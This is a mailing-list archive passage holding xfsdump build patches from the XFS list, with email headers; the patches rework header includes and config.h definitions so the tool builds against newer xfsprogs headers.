a/common/content_common.c b/common/content_common.c index 99b1a4b..8f84e56 100644 --- a/common/content_common.c +++ b/common/content_common.c @@ -16,9 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - +#include #include #include #include @@ -27,11 +25,11 @@ #include #include #include +#include #include "config.h" #include "types.h" -#include "util.h" #include "mlog.h" #include "dlog.h" #include "cldmgr.h" diff --git a/common/dlog.c b/common/dlog.c index cb5c11a..032e6f7 100644 --- a/common/dlog.c +++ b/common/dlog.c @@ -16,9 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - +#include #include #include #include diff --git a/common/drive.c b/common/drive.c index 9fb0bb7..5fe6867 100644 --- a/common/drive.c +++ b/common/drive.c @@ -16,18 +16,17 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - +#include +#include #include #include #include #include +#include #include "config.h" #include "types.h" -#include "util.h" #include "mlog.h" #include "dlog.h" #include "path.h" diff --git a/common/drive_minrmt.c b/common/drive_minrmt.c index 848d794..32dc404 100644 --- a/common/drive_minrmt.c +++ b/common/drive_minrmt.c @@ -16,12 +16,10 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include +#include #include #include #include @@ -33,11 +31,11 @@ #include #include #include +#include #include "config.h" #include "types.h" -#include "util.h" #include "qlock.h" #include "cldmgr.h" #include "mlog.h" diff --git a/common/drive_scsitape.c b/common/drive_scsitape.c index 06ba2f4..56b8c2d 100644 --- a/common/drive_scsitape.c +++ b/common/drive_scsitape.c @@ -16,12 +16,10 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include +#include #include #include #include @@ -33,11 +31,11 @@ #include #include #include +#include #include "config.h" #include "types.h" -#include "util.h" #include "qlock.h" #include "cldmgr.h" #include "mlog.h" diff --git a/common/drive_simple.c b/common/drive_simple.c index 45bc28c..b4e41da 100644 --- a/common/drive_simple.c +++ b/common/drive_simple.c @@ -22,6 +22,7 @@ #include #include #include +#include #include #include #include @@ -29,11 +30,14 @@ #include #include #include +#include +#include +#include /* needed only for util.h include */ #include "config.h" #include "types.h" -#include "util.h" +#include "util.h" /* needed onyl for I/O routines */ #include "stream.h" #include "mlog.h" #include "global.h" diff --git a/common/fs.c b/common/fs.c index e600e38..60cf0fd 100644 --- a/common/fs.c +++ b/common/fs.c @@ -16,8 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include #include "config.h" #include @@ -31,6 +29,7 @@ #include #include #include +#include #include "config.h" diff --git a/common/global.c b/common/global.c index ca11368..e70b8a0 100644 --- a/common/global.c +++ b/common/global.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include @@ -26,11 +23,13 @@ #include #include #include +#include +#include /* only for util.h include */ #include "config.h" #include "types.h" -#include "util.h" +#include "util.h" /* only for strncpyterm */ #include "mlog.h" #include "dlog.h" #include "global.h" diff --git a/common/hsmapi.c b/common/hsmapi.c index 489223d..6054773 100644 --- a/common/hsmapi.c +++ b/common/hsmapi.c @@ -16,15 +16,24 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #include +#include #include -#include #include #include "config.h" +#include "types.h" #include "hsmapi.h" #include "mlog.h" diff --git a/common/hsmapi.h b/common/hsmapi.h index b6d035d..63933af 100644 --- a/common/hsmapi.h +++ b/common/hsmapi.h @@ -19,13 +19,13 @@ #ifndef HSMAPI_H #define HSMAPI_H -#include -#include #include "types.h" #include "global.h" #include "content.h" #include "content_inode.h" +struct xfs_bstat; + #define HSM_API_VERSION_1 1 /* only version supported so far */ typedef void hsm_fs_ctxt_t; /* opaque HSM filesystem context */ @@ -94,7 +94,7 @@ extern int HsmEstimateFileSpace( hsm_fs_ctxt_t *fscontextp, hsm_f_ctxt_t *fcontextp, -const xfs_bstat_t *statp, +const struct xfs_bstat *statp, off64_t *bytes, int accurate); @@ -117,7 +117,7 @@ const xfs_bstat_t *statp, extern int HsmEstimateFileOffset( hsm_fs_ctxt_t *contextp, -const xfs_bstat_t *statp, +const struct xfs_bstat *statp, off64_t bytecount, off64_t *byteoffset); @@ -181,7 +181,7 @@ HsmDeleteFileContext( extern int HsmInitFileContext( hsm_f_ctxt_t *contextp, -const xfs_bstat_t *statp); +const struct xfs_bstat *statp); /****************************************************************************** @@ -201,7 +201,7 @@ const xfs_bstat_t *statp); extern int HsmModifyInode( hsm_f_ctxt_t *contextp, - xfs_bstat_t *statp); + struct xfs_bstat *statp); /****************************************************************************** diff --git a/common/lock.c b/common/lock.c index a237931..9826581 100644 --- a/common/lock.c +++ b/common/lock.c @@ -15,10 +15,8 @@ * along with this program; if not, write the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ - -#include -#include #include +#include #include "config.h" diff --git a/common/main.c b/common/main.c index e381e85..3848499 100644 --- a/common/main.c +++ b/common/main.c @@ -16,12 +16,11 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - +#include #include #include #include +#include #include #include #include @@ -37,6 +36,7 @@ #include #include #include +#include #include "config.h" @@ -44,7 +44,6 @@ #include "types.h" #include "stream.h" #include "cldmgr.h" -#include "util.h" #include "getopt.h" #include "mlog.h" #include "qlock.h" diff --git a/common/media.c b/common/media.c index fceb78d..02fde9c 100644 --- a/common/media.c +++ b/common/media.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include diff --git a/common/mlog.c b/common/mlog.c index c8b3129..b520131 100644 --- a/common/mlog.c +++ b/common/mlog.c @@ -16,19 +16,18 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include #include #include +#include #include #include #include #include #include +#include #include "config.h" @@ -39,7 +38,6 @@ #include "cldmgr.h" #include "getopt.h" #include "exit.h" -#include "util.h" #include "global.h" #include "drive.h" diff --git a/common/openutil.c b/common/openutil.c index 6cc0efa..fcb52fc 100644 --- a/common/openutil.c +++ b/common/openutil.c @@ -15,9 +15,8 @@ * along with this program; if not, write the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include +#include #include #include #include diff --git a/common/path.c b/common/path.c index b73121d..b234de1 100644 --- a/common/path.c +++ b/common/path.c @@ -16,9 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include #include - #include #include #include diff --git a/common/qlock.c b/common/qlock.c index 0583a63..c770116 100644 --- a/common/qlock.c +++ b/common/qlock.c @@ -16,9 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - +#include #include #include #include diff --git a/common/ring.c b/common/ring.c index bb90901..f5055ee 100644 --- a/common/ring.c +++ b/common/ring.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include diff --git a/common/stream.c b/common/stream.c index 549bf59..3047886 100644 --- a/common/stream.c +++ b/common/stream.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include diff --git a/common/types.h b/common/types.h index f902828..ebdacdd 100644 --- a/common/types.h +++ b/common/types.h @@ -23,6 +23,13 @@ */ #include +/* + * type macros that were naively put into xfs/jdm.h, then used in places that + * have nothing to do with file handle operations. + */ +#define sizeofmember( t, m ) sizeof( ( ( t * )0 )->m ) +#define offsetofmember( t, m ) ( ( size_t )( char * )&( ( ( t * )0 )->m ) ) + #define XFSDUMP_DIRPATH inv_basepath() /* @@ -51,6 +58,8 @@ typedef int32_t time32_t; typedef uint64_t xfs_ino_t; +#define constpp char * const * + /* limits */ #define MKMAX( t, s ) ( ( t ) \ diff --git a/common/util.c b/common/util.c index 0d49d5c..bbca758 100644 --- a/common/util.c +++ b/common/util.c @@ -16,10 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include -#include "config.h" - #include #include #include @@ -29,6 +25,8 @@ #include #include #include +#include +#include #include "config.h" diff --git a/dump/content.c b/dump/content.c index 15fb357..1e86292 100644 --- a/dump/content.c +++ b/dump/content.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include @@ -36,6 +33,8 @@ #include #include +#include +#include #ifdef linux #include #endif diff --git a/dump/inomap.c b/dump/inomap.c index 4e57a78..1dacf35 100644 --- a/dump/inomap.c +++ b/dump/inomap.c @@ -16,10 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include -#include - #include #include #include @@ -29,6 +25,8 @@ #include #include #include +#include +#include #include "config.h" diff --git a/dump/inomap.h b/dump/inomap.h index f222642..fb9bbf7 100644 --- a/dump/inomap.h +++ b/dump/inomap.h @@ -29,6 +29,7 @@ * the 64 inos beginning with the starting ino. two bits are available * for each ino. */ +struct xfs_bstat; /* inomap_build - this function allocates and constructs an in-memory * representation of the bitmap. it prunes from the map inos of files not @@ -46,9 +47,9 @@ * fall at file boundaries. returns BOOL_FALSE if error encountered (should * abort the dump; else returns BOOL_TRUE. */ -extern bool_t inomap_build( jdm_fshandle_t *fshandlep, +extern bool_t inomap_build( void *fshandlep, int fsfd, - xfs_bstat_t *rootstatp, + struct xfs_bstat *rootstatp, bool_t last, time32_t lasttime, bool_t resume, diff --git a/dump/var.c b/dump/var.c index 6dd6a70..645caab 100644 --- a/dump/var.c +++ b/dump/var.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include diff --git a/include/config.h.in b/include/config.h.in index ef66ed9..3b35d83 100644 --- a/include/config.h.in +++ b/include/config.h.in @@ -46,4 +46,8 @@ typedef unsigned short umode_t; #define max(a,b) (((a)>(b))?(a):(b)) #endif +#ifndef NBBY +#define NBBY 8 +#endif + #endif /* __CONFIG_H__ */ diff --git a/inventory/inv_files.c b/inventory/inv_files.c index 409ee0d..46f6b8f 100644 --- a/inventory/inv_files.c +++ b/inventory/inv_files.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include diff --git a/invutil/list.c b/invutil/list.c index ae5d9b7..46fb291 100644 --- a/invutil/list.c +++ b/invutil/list.c @@ -16,8 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include +#include #include #include diff --git a/invutil/menu.c b/invutil/menu.c index c050359..f81f9b6 100644 --- a/invutil/menu.c +++ b/invutil/menu.c @@ -16,8 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include +#include #include #include #include diff --git a/restore/bag.c b/restore/bag.c index 3927877..55bba73 100644 --- a/restore/bag.c +++ b/restore/bag.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include diff --git a/restore/content.c b/restore/content.c index d4fe350..7c4a81f 100644 --- a/restore/content.c +++ b/restore/content.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include @@ -39,12 +36,14 @@ #include #include #include +#include +#include /* only for util.h */ #include "config.h" #include "types.h" #include "timeutil.h" -#include "util.h" +#include "util.h" /* only for r/w routines, ALIGN_PTR */ #include "cldmgr.h" #include "qlock.h" #include "lock.h" diff --git a/restore/mmap.c b/restore/mmap.c index e8536c2..29dd3d7 100644 --- a/restore/mmap.c +++ b/restore/mmap.c @@ -16,7 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include #include #include #include diff --git a/restore/tree.c b/restore/tree.c index 363f0f1..0336e77 100644 --- a/restore/tree.c +++ b/restore/tree.c @@ -16,13 +16,13 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - +#include #include #include +#include #include #include +#include #include #include #include @@ -34,12 +34,13 @@ #include #include #include +#include +#include #include "config.h" #include "types.h" #include "exit.h" -#include "util.h" #include "cldmgr.h" #include "path.h" #include "openutil.h" diff --git a/restore/win.c b/restore/win.c index e6c0be3..e5bf708 100644 --- a/restore/win.c +++ b/restore/win.c @@ -16,9 +16,6 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ -#include -#include - #include #include #include -- 2.5.0 From dave@fromorbit.com Thu Oct 15 20:45:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 90BBC7F60 for ; Thu, 15 Oct 2015 20:45:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 535BC30405F for ; Thu, 15 Oct 2015 18:45:27 -0700 (PDT) X-ASG-Debug-ID: 1444959917-04bdf06db45dd70003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Y9ydzHYaK3NzeYAE for ; Thu, 15 Oct 2015 18:45:21 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DXBwDrVSBW/ySkLHlegyZUbqhXDAEBAQEBAQaLPoR+hiGHNk0BAQEBAQGBC4QnAQUaPDMIGDE5AxsZHogPxCSGL4oEA4UABYc9jmCFGYoimXBjgUoBCwGCQCozhB+BSAEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 12:15:17 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zmu4u-00019r-SJ for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zmu4u-00005v-RX for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/8] build: don't rely on xfs/xfs.h to include necessary headers Date: Fri, 16 Oct 2015 12:44:55 +1100 X-ASG-Orig-Subj: [PATCH 2/8] build: don't rely on xfs/xfs.h to include necessary headers Message-Id: <1444959901-31319-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1444959901-31319-1-git-send-email-david@fromorbit.com> References: <1444959901-31319-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444959920 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner >From xfsprogs 4.2.0, the xfs headers no long include lots of xfsprogs specific build information. xfsdump hasbeen implicitly relying on those header for a clean build, rather than having it's own definitions. Hence we need to add the missing bits to config.h.in and include it in all the files that require the specific help that the xfs headers used to provide. Signed-off-by: Dave Chinner --- common/arch_xlate.c | 4 ++++ common/arch_xlate.h | 1 + common/cldmgr.c | 4 ++++ common/content_common.c | 4 ++++ common/dlog.c | 4 ++++ common/drive.c | 3 +++ common/drive_minrmt.c | 5 +++++ common/drive_scsitape.c | 5 +++++ common/drive_simple.c | 5 +++++ common/fs.c | 4 ++++ common/global.c | 4 ++++ common/hsmapi.c | 4 ++++ common/lock.c | 2 ++ common/main.c | 5 +++++ common/media.c | 2 ++ common/mlog.c | 3 +++ common/openutil.c | 5 +++++ common/path.c | 7 +++++++ common/qlock.c | 2 ++ common/ring.c | 2 ++ common/stream.c | 3 +++ common/util.c | 5 +++++ dump/content.c | 5 +++++ dump/inomap.c | 5 +++++ dump/var.c | 5 +++++ include/config.h.in | 45 +++++++++++++++++++++++++++++++++++---------- inventory/inv_api.c | 5 +++++ inventory/inv_core.c | 5 +++++ inventory/inv_files.c | 3 +++ inventory/inv_fstab.c | 5 +++++ inventory/inv_idx.c | 5 +++++ inventory/inv_mgr.c | 5 +++++ inventory/inv_oref.c | 2 ++ inventory/inv_stobj.c | 5 +++++ inventory/testmain.c | 4 ++++ invutil/cmenu.c | 3 +++ invutil/fstab.c | 3 +++ invutil/invidx.c | 4 ++++ invutil/invutil.c | 4 ++++ invutil/screen.c | 3 +++ invutil/stobj.c | 4 ++++ librmt/rmtabort.c | 1 + librmt/rmtclose.c | 1 + librmt/rmtcommand.c | 2 ++ librmt/rmtfstat.c | 2 ++ librmt/rmtioctl.c | 10 ++++++---- librmt/rmtlib.h | 3 --- librmt/rmtlseek.c | 2 ++ librmt/rmtmsg.c | 5 +++++ librmt/rmtopen.c | 4 +++- librmt/rmtread.c | 2 ++ librmt/rmtstatus.c | 2 ++ librmt/rmtwrite.c | 2 ++ restore/bag.c | 2 ++ restore/content.c | 5 +++++ restore/dirattr.c | 5 +++++ restore/inomap.c | 5 +++++ restore/namreg.c | 5 +++++ restore/node.c | 4 ++++ restore/tree.c | 7 +++++++ restore/win.c | 2 ++ 61 files changed, 256 insertions(+), 18 deletions(-) diff --git a/common/arch_xlate.c b/common/arch_xlate.c index e6f897e..f8aa50f 100644 --- a/common/arch_xlate.c +++ b/common/arch_xlate.c @@ -20,6 +20,10 @@ #include #include +#include + +#include "config.h" + #include "arch_xlate.h" #include "types.h" #include "global.h" diff --git a/common/arch_xlate.h b/common/arch_xlate.h index 35333c6..fa201cd 100644 --- a/common/arch_xlate.h +++ b/common/arch_xlate.h @@ -22,6 +22,7 @@ #include #include +#include #include "types.h" #include "global.h" #include "content.h" diff --git a/common/cldmgr.c b/common/cldmgr.c index df33a3f..88fd7fd 100644 --- a/common/cldmgr.c +++ b/common/cldmgr.c @@ -19,6 +19,7 @@ #include #include +#include #include #include #include @@ -26,6 +27,9 @@ #include #include #include +#include + +#include "config.h" #include "exit.h" #include "types.h" diff --git a/common/content_common.c b/common/content_common.c index 65be31f..99b1a4b 100644 --- a/common/content_common.c +++ b/common/content_common.c @@ -19,12 +19,16 @@ #include #include +#include #include #include #include #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/common/dlog.c b/common/dlog.c index 6220cfe..dac4e64 100644 --- a/common/dlog.c +++ b/common/dlog.c @@ -19,6 +19,7 @@ #include #include +#include #include #include #include @@ -27,6 +28,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "mlog.h" diff --git a/common/drive.c b/common/drive.c index f9ba851..afef147 100644 --- a/common/drive.c +++ b/common/drive.c @@ -22,6 +22,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/common/drive_minrmt.c b/common/drive_minrmt.c index 6d58f1f..51685dc 100644 --- a/common/drive_minrmt.c +++ b/common/drive_minrmt.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -30,6 +32,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/common/drive_scsitape.c b/common/drive_scsitape.c index 3f45d01..eade6ac 100644 --- a/common/drive_scsitape.c +++ b/common/drive_scsitape.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -30,6 +32,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/common/drive_simple.c b/common/drive_simple.c index 2e57d8c..69fce4b 100644 --- a/common/drive_simple.c +++ b/common/drive_simple.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -26,6 +28,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/common/fs.c b/common/fs.c index b77f6cc..2cd2f72 100644 --- a/common/fs.c +++ b/common/fs.c @@ -20,6 +20,7 @@ #include #include "config.h" +#include #include #include #include @@ -28,6 +29,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "mlog.h" diff --git a/common/global.c b/common/global.c index ed844cc..319d4df 100644 --- a/common/global.c +++ b/common/global.c @@ -19,10 +19,14 @@ #include #include +#include #include #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/common/hsmapi.c b/common/hsmapi.c index 0bca9ff..ed29370 100644 --- a/common/hsmapi.c +++ b/common/hsmapi.c @@ -21,6 +21,10 @@ #include #include +#include + +#include "config.h" + #include "hsmapi.h" #include "mlog.h" diff --git a/common/lock.c b/common/lock.c index 347f6cd..a237931 100644 --- a/common/lock.c +++ b/common/lock.c @@ -20,6 +20,8 @@ #include #include +#include "config.h" + #include "types.h" #include "qlock.h" #include "mlog.h" diff --git a/common/main.c b/common/main.c index f392856..3b82a76 100644 --- a/common/main.c +++ b/common/main.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -34,6 +36,9 @@ #include #include #include +#include + +#include "config.h" #include "exit.h" #include "types.h" diff --git a/common/media.c b/common/media.c index 53b94d1..7d17405 100644 --- a/common/media.c +++ b/common/media.c @@ -28,6 +28,8 @@ #include #include +#include "config.h" + #include "types.h" #include "util.h" #include "mlog.h" diff --git a/common/mlog.c b/common/mlog.c index c546036..1fef185 100644 --- a/common/mlog.c +++ b/common/mlog.c @@ -28,6 +28,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "qlock.h" diff --git a/common/openutil.c b/common/openutil.c index c3b8d9a..9df42ae 100644 --- a/common/openutil.c +++ b/common/openutil.c @@ -18,11 +18,16 @@ #include #include +#include +#include #include #include #include #include #include +#include + +#include "config.h" #include "types.h" #include "mlog.h" diff --git a/common/path.c b/common/path.c index e40c473..b73121d 100644 --- a/common/path.c +++ b/common/path.c @@ -19,6 +19,13 @@ #include #include +#include +#include +#include +#include + +#include "config.h" + #include "path.h" struct pem { diff --git a/common/qlock.c b/common/qlock.c index d88917c..1b466d6 100644 --- a/common/qlock.c +++ b/common/qlock.c @@ -23,6 +23,8 @@ #include #include +#include "config.h" + #include "types.h" #include "qlock.h" #include "mlog.h" diff --git a/common/ring.c b/common/ring.c index f3de7c4..37a2d1d 100644 --- a/common/ring.c +++ b/common/ring.c @@ -29,6 +29,8 @@ #include #include +#include "config.h" + #include "types.h" #include "qlock.h" #include "cldmgr.h" diff --git a/common/stream.c b/common/stream.c index 0db1be3..90d315a 100644 --- a/common/stream.c +++ b/common/stream.c @@ -21,6 +21,9 @@ #include #include +#include + +#include "config.h" #include "types.h" #include "exit.h" diff --git a/common/util.c b/common/util.c index 1dc6d6c..af48162 100644 --- a/common/util.c +++ b/common/util.c @@ -20,12 +20,17 @@ #include #include "config.h" +#include +#include #include #include #include #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/dump/content.c b/dump/content.c index 3682358..5d630bb 100644 --- a/dump/content.c +++ b/dump/content.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -31,6 +33,7 @@ #include #include #include +#include #ifdef linux #include @@ -38,6 +41,8 @@ #include +#include "config.h" + #include "hsmapi.h" #include "exit.h" diff --git a/dump/inomap.c b/dump/inomap.c index 7a3069f..dacf954 100644 --- a/dump/inomap.c +++ b/dump/inomap.c @@ -20,12 +20,17 @@ #include #include +#include +#include #include #include #include #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/dump/var.c b/dump/var.c index 8370fa4..ceb7e3a 100644 --- a/dump/var.c +++ b/dump/var.c @@ -19,9 +19,14 @@ #include #include +#include +#include #include #include #include +#include + +#include "config.h" #include "types.h" #include "fs.h" diff --git a/include/config.h.in b/include/config.h.in index 7cc4f2a..ef66ed9 100644 --- a/include/config.h.in +++ b/include/config.h.in @@ -6,19 +6,44 @@ #ifndef __CONFIG_H__ #define __CONFIG_H__ +/* long and pointer must be either 32 bit or 64 bit */ +#undef SIZEOF_LONG +#undef SIZEOF_CHAR_P +#define BITS_PER_LONG (SIZEOF_LONG * CHAR_BIT) + +/* Check whether to define umode_t ourselves. */ +#ifndef HAVE_UMODE_T +typedef unsigned short umode_t; +#endif + /* Define if you want gettext (I18N) support */ #undef ENABLE_GETTEXT - -#ifndef _ -# ifdef ENABLE_GETTEXT -# include -# define _(x) gettext(x) -# else -# define _(x) (x) -# define textdomain(d) do { } while (0) -# define bindtextdomain(d,dir) do { } while (0) -# endif +#ifdef ENABLE_GETTEXT +# include +# define _(x) gettext(x) +# define N_(x) x +#else +# define _(x) (x) +# define N_(x) x +# define textdomain(d) do { } while (0) +# define bindtextdomain(d,dir) do { } while (0) #endif #include +#define IRIX_DEV_BITSMAJOR 14 +#define IRIX_DEV_BITSMINOR 18 +#define IRIX_DEV_MAXMAJ 0x1ff +#define IRIX_DEV_MAXMIN 0x3ffff +#define IRIX_DEV_MAJOR(dev) ((int)(((unsigned)(dev) >> IRIX_DEV_BITSMINOR) \ + & IRIX_DEV_MAXMAJ)) +#define IRIX_DEV_MINOR(dev) ((int)((dev) & IRIX_DEV_MAXMIN)) +#define IRIX_MKDEV(major,minor) ((xfs_dev_t)(((major) << IRIX_DEV_BITSMINOR) \ + | (minor&IRIX_DEV_MAXMIN))) +#define IRIX_DEV_TO_KDEVT(dev) makedev(IRIX_DEV_MAJOR(dev),IRIX_DEV_MINOR(dev)) + +#ifndef min +#define min(a,b) (((a)<(b))?(a):(b)) +#define max(a,b) (((a)>(b))?(a):(b)) +#endif + #endif /* __CONFIG_H__ */ diff --git a/inventory/inv_api.c b/inventory/inv_api.c index bd473e9..b564d2f 100644 --- a/inventory/inv_api.c +++ b/inventory/inv_api.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -27,6 +29,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "mlog.h" diff --git a/inventory/inv_core.c b/inventory/inv_core.c index a83e7ef..7020f7f 100644 --- a/inventory/inv_core.c +++ b/inventory/inv_core.c @@ -19,6 +19,7 @@ #include #include +#include #include #include #include @@ -26,6 +27,10 @@ #include #include #include +#include + +#include "config.h" + #include "types.h" #include "inv_priv.h" diff --git a/inventory/inv_files.c b/inventory/inv_files.c index 34b7aac..409ee0d 100644 --- a/inventory/inv_files.c +++ b/inventory/inv_files.c @@ -24,6 +24,9 @@ #include #include #include +#include + +#include "config.h" /*----------------------------------------------------------------------*/ diff --git a/inventory/inv_fstab.c b/inventory/inv_fstab.c index e87152f..8263852 100644 --- a/inventory/inv_fstab.c +++ b/inventory/inv_fstab.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -26,6 +28,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "mlog.h" diff --git a/inventory/inv_idx.c b/inventory/inv_idx.c index edb72b3..0378c5a 100644 --- a/inventory/inv_idx.c +++ b/inventory/inv_idx.c @@ -19,6 +19,7 @@ #include #include +#include #include #include #include @@ -26,6 +27,10 @@ #include #include #include +#include + +#include "config.h" + #include "types.h" #include "mlog.h" #include "inv_priv.h" diff --git a/inventory/inv_mgr.c b/inventory/inv_mgr.c index 926b4c8..f1341b9 100644 --- a/inventory/inv_mgr.c +++ b/inventory/inv_mgr.c @@ -19,12 +19,17 @@ #include #include +#include #include #include #include #include #include #include +#include + +#include "config.h" + #include "types.h" #include "mlog.h" #include "inv_priv.h" diff --git a/inventory/inv_oref.c b/inventory/inv_oref.c index b6cd61d..ebcae95 100644 --- a/inventory/inv_oref.c +++ b/inventory/inv_oref.c @@ -20,6 +20,8 @@ #include #include +#include "config.h" + #include "inv_priv.h" #include "inv_oref.h" diff --git a/inventory/inv_stobj.c b/inventory/inv_stobj.c index 42969b1..bae2fc5 100644 --- a/inventory/inv_stobj.c +++ b/inventory/inv_stobj.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -27,6 +29,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "timeutil.h" diff --git a/inventory/testmain.c b/inventory/testmain.c index d8c61e2..51b7774 100644 --- a/inventory/testmain.c +++ b/inventory/testmain.c @@ -19,10 +19,14 @@ #include #include +#include #include #include #include #include + +#include "config.h" + #include "types.h" #include "mlog.h" #include "getopt.h" diff --git a/invutil/cmenu.c b/invutil/cmenu.c index ff4abef..ce23d28 100644 --- a/invutil/cmenu.c +++ b/invutil/cmenu.c @@ -19,9 +19,12 @@ #include #include +#include +#include #include #include #include +#include #include "types.h" #include "mlog.h" diff --git a/invutil/fstab.c b/invutil/fstab.c index acbe94b..ac8f775 100644 --- a/invutil/fstab.c +++ b/invutil/fstab.c @@ -19,9 +19,12 @@ #include #include +#include +#include #include #include #include +#include #include "types.h" #include "mlog.h" diff --git a/invutil/invidx.c b/invutil/invidx.c 